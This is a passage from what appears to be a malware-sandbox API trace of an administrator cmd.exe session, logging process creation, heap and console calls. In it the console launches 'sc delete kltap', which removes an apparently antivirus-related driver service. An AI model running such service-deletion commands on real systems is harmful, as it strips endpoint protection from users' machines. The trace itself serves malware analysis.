lpFilePart=0x14edc0*="Desktop") returned 0x25 [0068.164] SetErrorMode (uMode=0x1) returned 0x1 [0068.165] GetProcessHeap () returned 0x1b0000 [0068.165] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0068.165] GetProcessHeap () returned 0x1b0000 [0068.165] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0068.165] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.165] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.166] GetProcessHeap () returned 0x1b0000 [0068.166] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0068.166] GetProcessHeap () returned 0x1b0000 [0068.166] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0068.166] GetProcessHeap () returned 0x1b0000 [0068.166] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0068.166] GetProcessHeap () returned 0x1b0000 [0068.166] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0068.166] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.166] GetProcessHeap () returned 0x1b0000 [0068.166] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0068.166] GetProcessHeap () returned 0x1b0000 [0068.166] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0068.166] GetProcessHeap () returned 0x1b0000 [0068.166] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0068.166] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.166] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.166] GetLastError () returned 0x2 [0068.166] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.167] GetLastError () returned 0x2 [0068.167] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.167] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.167] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.167] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.167] GetLastError () returned 0x2 [0068.167] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.167] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.167] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.168] GetProcessHeap () returned 0x1b0000 [0068.168] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0068.168] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.168] GetProcessHeap () returned 0x1b0000 [0068.168] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x98) returned 0x1c9180 [0068.168] GetProcessHeap () returned 0x1b0000 [0068.168] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x98 [0068.168] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete kltap") returned 1 [0068.169] GetProcessHeap () returned 0x1b0000 [0068.169] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0068.169] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0068.169] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0068.169] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.169] GetProcessHeap () returned 0x1b0000 [0068.169] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0068.169] GetProcessHeap () returned 0x1b0000 [0068.169] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0068.169] GetProcessHeap () returned 0x1b0000 [0068.169] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0068.169] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete kltap", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete kltap", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete kltap", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0xb2c, dwThreadId=0xb1c)) returned 1 [0068.173] CloseHandle (hObject=0x54) returned 1 [0068.173] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.173] GetProcessHeap () returned 0x1b0000 [0068.173] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0068.173] GetEnvironmentStringsW () returned 0x1d1b10* [0068.173] GetProcessHeap () returned 0x1b0000 [0068.173] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0068.173] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.173] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0068.173] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0068.174] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0068.223] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0068.223] CloseHandle (hObject=0x50) returned 1 [0068.223] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0068.223] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.223] GetProcessHeap () returned 0x1b0000 [0068.223] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.223] GetEnvironmentStringsW () returned 0x1d1b10* [0068.223] GetProcessHeap () returned 0x1b0000 [0068.224] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0068.224] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.224] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.224] GetProcessHeap () returned 0x1b0000 [0068.224] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.224] GetEnvironmentStringsW () returned 0x1d1b10* [0068.224] GetProcessHeap () returned 0x1b0000 [0068.224] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0068.224] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.224] GetProcessHeap () returned 0x1b0000 [0068.224] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0068.224] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0068.224] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.225] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.225] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.225] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.225] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0068.225] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.225] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0068.225] GetConsoleOutputCP () returned 0x1b5 [0068.225] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.225] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.225] GetProcessHeap () returned 0x1b0000 [0068.225] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0068.225] GetProcessHeap () returned 0x1b0000 [0068.225] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0068.225] GetProcessHeap () returned 0x1b0000 [0068.225] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0068.225] GetProcessHeap () returned 0x1b0000 [0068.226] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0068.226] GetProcessHeap () returned 0x1b0000 [0068.226] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0068.226] GetProcessHeap () returned 0x1b0000 [0068.226] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0068.226] GetProcessHeap () returned 0x1b0000 [0068.226] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0068.226] GetProcessHeap () returned 0x1b0000 [0068.226] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0068.226] GetProcessHeap () returned 0x1b0000 [0068.226] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0068.226] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0068.226] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.226] GetFileType (hFile=0x120) returned 0x3 [0068.226] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.226] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0068.226] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.226] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.226] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.226] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0068.226] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.226] GetFileType (hFile=0x120) returned 0x3 [0068.226] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.226] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0068.226] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.226] GetFileType (hFile=0xb8) returned 0x3 [0068.227] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.227] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.227] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.227] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.227] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.227] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.227] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.227] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.227] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.227] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.227] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.227] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.227] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.227] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.227] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.227] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.228] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.228] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.228] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.228] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.228] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.228] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.228] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.228] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.228] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.228] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.228] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.228] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.228] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.228] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.228] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.228] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.228] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.228] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.228] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.228] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.228] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.228] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.229] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.229] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.229] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.229] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.229] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.229] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="Tltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.229] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.229] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.229] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.229] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="mtap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.229] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.229] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.229] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.229] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="Fap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.229] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.229] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.229] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.229] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="ip\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.229] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.229] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.229] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.229] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="l\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.230] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.230] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.230] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.230] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="t.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.230] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.230] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.230] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, 